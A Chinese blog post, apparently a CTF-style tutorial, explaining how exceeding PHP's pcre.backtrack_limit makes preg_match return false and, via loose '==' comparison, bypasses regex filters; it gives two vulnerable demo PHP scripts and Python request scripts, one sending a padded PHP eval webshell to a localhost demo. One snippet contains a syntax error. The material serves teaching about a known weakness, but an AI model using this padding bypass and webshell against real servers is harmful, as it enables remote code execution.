当前位置:网站首页>利用正则表达式的回溯实现绕过
利用正则表达式的回溯实现绕过
2022-08-01 10:13:00 【miracle-boy】
目录
什么是正则回溯?
从问题的某一种状态(初始状态)出发,搜索从这种状态出发所能达到的所有“状态”,当一条路走到“尽头”的时候(不能再前进),再后退一步或若干步,从另一种可能“状态”出发,继续搜索,直到所有的“路径”(状态)都试探过。这种不断“前进”、不断“回溯”寻找解的方法,就称作“回溯法”。本质上就是深度优先搜索算法。其中退到之前的某一步这一过程,我们称为“回溯”。
为什么可以利用正则回溯进行绕过?
- 大量的回溯会长时间地占用CPU,从而带来系统性的开销。PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,最大回溯次数默认为1000000次,如果超过一百万次preg_match函数返回的非 1 和 0,而是 false表示此次执行失败。
- 在PHP中 ‘==’ 是松散比较 ‘0’与’flase’ 是相等的:
- 使用两个等号 == 比较,只比较值,不比较类型。
- 严格比较:用三个等号 === 比较,除了比较值,也比较类型。
- == 在进行比较的时候,会先将字符串类型转化成相同,再比较
php正则回溯绕过案例一
php源码:
<?php
$input = $_POST['file'];
if(is_php($input)=='0') {
echo "flag{raoguo-cenggong}";
}else{
echo "bad requests";
}
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
python绕过源码
import requests
datas = {
'file' : "<?php eval($_POST['oupeng']); ?>"+'h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test1.php', data=datas)
print(res.text)
当回溯次数为999990次时的运行结果:

当回溯次数为1000000次时的运行结果:

php正则回溯绕过案例二
php源码:
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}
[email protected]$_POST['greeting'];
if(!is_array($greeting)){
if(!areyouok($greeting)){
if(strpos($greeting,'Merry Christmas')!==false){
echo 'flag{cheng-gong}';
}else{
echo 'no have Merry Christmas';
}
}else{
echo 'Bypass the failure';
}
}
?>
python源码:
import requests
datas = {
'greeting': 'Merry Christmas'+'h'*100000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)
运行结果:

python测试:
没有 ‘Merry Christmas’ 前缀的运行结果
import requests
datas = {
'greeting': h'*1000000
}
res = requests.post(r'http://127.0.0.1:91/demo/test2.php', data=datas)
print(res.text)
运行结果:

边栏推荐
- Yang Hui Triangle (C language implementation)
- Google Earth Engine——给影像添加一个属性对于单景的时间序列并返回影像
- SQL Server database schema and objects related knowledge notes
- 小程序毕设作品之微信美食菜谱小程序毕业设计成品(3)后台功能
- WLAN networking experiment of AC and thin AP
- ClickHouse多种安装方式
- 【软件架构模式】MVVM模式和MVC模式区别
- Taobao commodity details and details on taobao, senior upgrade version of the API
- 报告:想学AI的学生数量已涨200%,老师都不够用了
- Mysql index related knowledge review one
猜你喜欢

MySQL 必现之死锁

Node's traditional and advanced practices for formatting time (moment)

2022年中盘点 | 产品打底,科技背书,广汽集团阔步向前

Message queue interview latest finishing (2022)

如何解决 chrome 浏览器标签过多无法查看到标题的情况

ClickHouse多种安装方式

Google Earth Engine APP——15行代码搞定一个inspector高程监测APP

【钛晨报】国家统计局:7月制造业PMI为49%;玖富旗下理财产品涉嫌欺诈,涉及390亿元;国内航线机票燃油附加费8月5日0时起下调

小程序毕设作品之微信美食菜谱小程序毕业设计成品(4)开题报告

周鸿祎称微软抄袭 360 安全模式后发文否认;英特尔CEO基辛格回应市值被AMD超越:股价下跌是咎由自取|极客头条
随机推荐
[Cloud Residency Co-Creation] Huawei Cloud Global Scheduling Technology and Practice of Distributed Technology
Mysql索引相关的知识复盘一
MFC implementation road map navigation system
cisco交换机基本配置命令(华为交换机保存命令是什么)
Qt supports HEIC/HEIF format images
EasyRecovery热门免费数据检测修复软件
RK3399平台开发系列讲解(内核入门篇)1.52、printk函数分析 - 其函数调用时候会关闭中断
STM32 personal notes - program run and fly
浏览器快捷键大全
IntellJ IDEA如何显示换行符(line endings)
Introduction to ADAS
CTFshow,命令执行:web37
ModelArts-based object detection YOLOv3 practice [play with HUAWEI CLOUD]
2022年7月31日--使用C#迈出第一步--使用C#中的数组和foreach语句来存储和循环访问数据序列
还在纠结报表工具的选型么?来看看这个
Explain / Desc execution plan analysis
Three chess (C language implementation)
周鸿祎称微软抄袭 360 安全模式后发文否认;英特尔CEO基辛格回应市值被AMD超越:股价下跌是咎由自取|极客头条
关于#SQL#的问题,如何解决?
我是如何保护 70000 ETH 并赢得 600 万漏洞赏金的